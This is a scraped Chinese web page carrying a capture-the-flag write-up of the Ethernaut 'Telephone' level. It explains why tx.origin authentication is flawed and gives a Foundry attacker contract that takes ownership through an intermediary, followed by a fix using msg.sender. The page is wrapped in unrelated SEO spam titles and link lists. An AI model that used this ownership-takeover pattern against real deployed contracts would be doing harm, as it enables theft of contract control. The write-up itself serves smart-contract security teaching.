当前位置: 首页 > news >正文

专门做旅游攻略的网站有哪些团购火锅自助网站建设

专门做旅游攻略的网站有哪些,团购火锅自助网站建设,单片机编程入门基础知识,钓鱼网站在线生成🎯 Ethernaut Level 4: Telephone - tx.origin vs msg.sender 身份验证绕过 关卡链接: Ethernaut Level 4 - Telephone 攻击类型: 身份验证绕过、中间合约攻击 难度: ⭐⭐☆☆☆ 📋 挑战目标 获取合约控制权 - 成为 Telephone 合约的 owner理解身份机制…

🎯 Ethernaut Level 4: Telephone - tx.origin vs msg.sender 身份验证绕过

关卡链接: Ethernaut Level 4 - Telephone
攻击类型: 身份验证绕过、中间合约攻击
难度: ⭐⭐☆☆☆

📋 挑战目标

  1. 获取合约控制权 - 成为 Telephone 合约的 owner
  2. 理解身份机制 - 掌握 tx.originmsg.sender 的区别

Telephone Challenge

🔍 漏洞分析

合约源码分析

pragma solidity ^0.8.0;contract Telephone {address public owner;constructor() {owner = msg.sender;}function changeOwner(address _owner) public {// 🚨 漏洞:使用 tx.origin 进行身份验证if (tx.origin != msg.sender) {owner = _owner;}}
}

关键概念对比

属性msg.sendertx.origin
定义直接调用者交易发起者
变化每次调用都可能变化整个交易链中不变
安全性✅ 安全❌ 危险
推荐使用身份验证仅用于日志记录

攻击原理

当我们通过中间合约调用时:

  • tx.origin = 用户地址 (交易发起者)
  • msg.sender = 攻击合约地址 (直接调用者)
  • 由于 tx.origin != msg.sender,条件满足,可以修改 owner

💻 Foundry 实现

攻击合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;import "forge-std/Test.sol";
import "../src/Telephone.sol";contract TelephoneAttacker {Telephone public target;constructor(address _target) {target = Telephone(_target);}function attack(address _newOwner) public {// 通过中间合约调用,使 tx.origin ≠ msg.sendertarget.changeOwner(_newOwner);}
}contract TelephoneTest is Test {Telephone public telephone;TelephoneAttacker public attacker;address public user = makeAddr("user");address public newOwner = makeAddr("newOwner");function setUp() public {telephone = new Telephone();attacker = new TelephoneAttacker(address(telephone));}function testTelephoneExploit() public {vm.startPrank(user);// 通过中间合约攻击attacker.attack(newOwner);vm.stopPrank();// 验证攻击成功assertEq(telephone.owner(), newOwner);console.log("Attack successful! New owner:", telephone.owner());}
}

🛡️ 防御措施

使用 msg.sender 进行身份验证

contract SecureTelephone {address public owner;modifier onlyOwner() {require(msg.sender == owner, "Not the owner");_;}function changeOwner(address _newOwner) public onlyOwner {owner = _newOwner;}
}

🎯 总结

Telephone 关卡教导我们:

  • ✅ 永远不要使用 tx.origin 进行身份验证
  • ✅ 使用 msg.sender 进行安全的身份检查
  • ✅ 理解调用链中的身份传递机制

🔗 相关链接

  • 原文
  • GitHub 项目
http://www.dtcms.com/a/475435.html

相关文章:

  • 临沂网站开发技术员广州引流推广公司
  • 承包酒席可以做网站吗廊坊百度关键词推广
  • 风景区网站代码有人做几个蝎子养殖门户网站
  • 毕业设计做网站有什么好处网站后台英文
  • php网站标题修改网站建设需要的技术人员
  • 【大数据开发实践】Kafka REST Proxy~无缝集成 Kafka
  • 做网站欢迎页什么意思阿里云搜索引擎
  • 广东真空共晶炉公司
  • wordpress网站发布文章做网站的创始人
  • 上海市建设考核中心网站无锡企业网站
  • 【计算机组成原理】第五章:中央处理器
  • ICT 数字测试原理 20 - -VCL中预处理的过程
  • 房地产网站建设的目的淘宝客网站怎么做推广计划
  • 江西网站设计哪家强ai绘画软件免费
  • 公司网站首页的图片怎么做电脑网页尺寸一般是多少
  • 企业网站 数据库设计网站开发老板排名
  • 开放平台直播优化课程体系
  • 建设英文商城网站深圳网站优化公司
  • 2.3变量与常量
  • 使用okhttp3发送请求
  • 网站开发 工期安排郑州不错的软件开发公司
  • [创业之路-688]:社会化再生产的环节以及典型的组织名称
  • 网站模板使用教程应用商店下载最新版
  • 企业网站建设与管理期末考试南京较好的网站制作公司
  • 公司网站怎么选贵阳网站建设钟鼎网络
  • 远程服务器Mysql环境的配置
  • 老题新解|求 10000 以内 n 的阶乘
  • 建立公司网站的重点模板之家网页模板下载
  • 做外贸搜索外国客户的网站恢复wordpress修订版本号
  • 合肥网站设计服品牌运营中心